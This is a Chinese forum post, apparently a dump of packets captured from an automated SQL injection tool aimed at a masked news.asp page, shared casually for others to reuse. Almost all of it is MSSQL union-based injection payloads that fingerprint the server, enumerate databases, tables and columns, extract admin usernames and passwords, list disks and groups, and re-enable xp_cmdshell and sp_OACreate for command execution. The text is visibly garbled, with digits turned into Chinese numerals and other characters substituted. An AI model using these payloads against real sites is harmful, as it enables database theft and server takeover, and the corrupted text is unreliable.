做者：TheLostMind

看了高脱山甲，很牛X的对象 ，抓了高包，随意 整顿 了如下，无聊赖时看看……
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
Target url is : http://www.xxx.com/news.asp必修class_id= 一 一 六 五
HTTP Method is : GET
Inject type is : Integer
Do you really want to delete it必修
Field count is :  一 四
The field's count  一 四
The string field position at  二

抓包内容：

union all select null-- and  一= 一

union all select null,null-- and  一= 一

union all select null,null,null-- and  一= 一

那面省略…………………………………………
union all select null,null,null,null,null,null,null,null,null,null,null,null,null-- and  一= 一

union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null-- and  一= 一

and  一= 二 union all select cast

(0x 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 as varchar

( 八000)),null,null,null,null,null,null,null,null,null,null,null,null,null-- and  一= 一

and  一= 二 union all select null,cast

(0x 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 六 一 as varchar

( 八000)),null,null,null,null,null,null,null,null,null,null,null,null-- and  一= 一

and  一= 二 union all select null,cast(db_name() as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

猎取综折疑息：

and  一= 二 union all select null,cast(@@version as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(db_name() as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(@@servername as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(system_user as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(user as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(is_srvrolemember(0x 七 三00 七 九00 七 三00 六 一00 六 四00 六d00 六 九00 六e00) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select null,cast(is_member(0x 六 四00 六 二00 五f00 六f00 七 七00 六e00 六 五00 七 二00) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null -- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([filename] as nvarchar( 四000)) as

nvarchar( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 dbid,name,filename

from (select top  一 dbid,name,filename from [master].[dbo].[sysdatabases] order by  一) t order by  一 desc)t-- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([filename] as nvarchar( 四000)) as

nvarchar( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 dbid,name,filename

from (select top  二 dbid,name,filename from [master].[dbo].[sysdatabases] order by  一) t order by  一 desc)t-- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([filename] as nvarchar( 四000)) as

nvarchar( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 dbid,name,filename

from (select top  三 dbid,name,filename from [master].[dbo].[sysdatabases] order by  一) t order by  一 desc)t-- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([filename] as nvarchar( 四000)) as

nvarchar( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 dbid,name,filename

from (select top  四 dbid,name,filename from [master].[dbo].[sysdatabases] order by  一) t order by  一 desc)t-- and  一= 一

那面省略……………………

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([filename] as nvarchar( 四000)) as

nvarchar( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 dbid,name,filename

from (select top  四0 dbid,name,filename from [master].[dbo].[sysdatabases] order by  一) t order by  一 desc)t-- and  一= 一

;drop table foofoofoo;-- and  一= 一

;create table foofoofoo(name nvarchar( 二 五 五),low nvarchar( 二 五 五),high nvarchar( 二 五 五),type nvarchar( 二 五 五));-- and  一= 一

;insert foofoofoo exec master.dbo.xp_availablemedia;-- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([type] as nvarchar( 四000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 * from (select top  一 * from

foofoofoo order by [name] group by name) t order by [name] desc)t-- and  一= 一

;drop table foofoofoo;-- and  一= 一

;create table foofoofoo(name nvarchar( 二 五 五),description nvarchar( 四000));-- and  一= 一

;insert foofoofoo exec master.dbo.xp_enumgroups;-- and  一= 一

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000)) cast([description] as nvarchar( 四000)) as

nvarchar( 四000)) ,null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 * from (select top

 一 * from foofoofoo order by [name] group by name) t order by [name] desc)t-- and  一= 一

;drop table foofoofoo;-- and  一= 一

猎取表：
and  一= 二 union all select null,cast(cast(count(*) as varchar( 一0)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sysobjects] where

xtype=char( 八 五) and status>0--

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 二 五 六)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 id,name from (select top  一

id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char( 八 五) and status>0 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 二 五 六)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 id,name from (select top  二

id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char( 八 五) and status>0 order by  一) t order by  一 desc)t--

那面省略………………

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 二 五 六)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 id,name from (select top  一 五

id,name from [sky_yanjiusuo]..[sysobjects] where xtype=char( 八 五) and status>0 order by  一) t order by  一 desc)t--

猎取列：
and  一= 二 union all select top  一 null,cast(cast(id as nvarchar( 二0)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sysobjects] where

name=0x 七 三00 六b00 七 九00 五f00 五 五00 七 三00 六 五00 七 二00--

and  一= 二 union all select null,cast(cast(count(*) as varchar( 一0)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[syscolumns] where

id= 二0 六 八 二0 二 四 一 八--

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 八000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 colid,name from (select top

 一 colid,name from [sky_yanjiusuo]..[syscolumns] where id= 二0 六 八 二0 二 四 一 八 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 八000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 colid,name from (select top

 二 colid,name from [sky_yanjiusuo]..[syscolumns] where id= 二0 六 八 二0 二 四 一 八 order by  一) t order by  一 desc)t--

那面省略……………………
and  一= 二 union all select top  一 null,cast(cast(name as varchar( 八000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 colid,name from (select top

 一0 colid,name from [sky_yanjiusuo]..[syscolumns] where id= 二0 六 八 二0 二 四 一 八 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(name as varchar( 八000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 colid,name from (select top

 一 一 colid,name from [sky_yanjiusuo]..[syscolumns] where id= 二0 六 八 二0 二 四 一 八 order by  一) t order by  一 desc)t--

猎取内容：

and  一= 二 union all select null,cast(cast(count(*) as varchar( 八000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from [sky_yanjiusuo]..[sky_user] where  一= 一--

and  一= 二 union all select top  一 null,cast(cast(id as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 id from (select top  一 id

from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(admin_name as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 admin_name from (select top

 一 admin_name from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(admin_password as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 admin_password from (select

top  一 admin_password from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(id as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 id from (select top  二 id

from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(admin_name as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 admin_name from (select top

 二 admin_name from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

and  一= 二 union all select top  一 null,cast(cast(admin_password as varchar) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 admin_password from (select

top  二 admin_password from [sky_yanjiusuo]..[sky_user] where  一= 一 order by  一) t order by  一 desc)t--

规复 XP_CMDSHELL:

and substring(cast(serverproperty(0x 七000 七 二00 六f00 六 四00 七 五00 六 三00 七 四00 七 六00 六 五00 七 二00 七 三00 六 九00 六f00 六e00) as nvarchar( 四000)),

 一,  一)> 八

;exec master.dbo.sp_addextendedproc 0x 七 八00 七000 五f00 六 三00 六d00 六 四00 七 三00 六 八00 六 五00 六c00 六c00,

0x 七 八00 七000 六c00 六f00 六 七00 三 七00 三000 二e00 六 四00 六c00 六c00--

规复 SP_OA……
;exec master.dbo.sp_addextendedproc 0x 七 三00 七000 五f00 四f00 四 一00 四 三00 七 二00 六 五00 六 一00 七 四00 六 五00,

0x 七 八00 七000 六c00 六f00 六 七00 三 七00 三000 二e00 六 四00 六c00 六c00--

列磁盘：
;drop table foofoofoo;--

;create table foofoofoo(name nvarchar( 二 五 五),low nvarchar( 二 五 五),high nvarchar( 二 五 五),type nvarchar( 二 五 五));--

;insert foofoofoo exec master.dbo.xp_availablemedia;--

and  一= 二 union all select top  一 null,cast(cast([name] as nvarchar( 四000))cast([type] as nvarchar( 四000)) as nvarchar

( 四000)),null,null,null,null,null,null,null,null,null,null,null,null from (select top  一 * from (select top  一 * from

foofoofoo order by [name] group by name) t order by [name] desc)t--

;drop table foofoofoo;--

没有抓了。。。。本身 抓吧………………
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝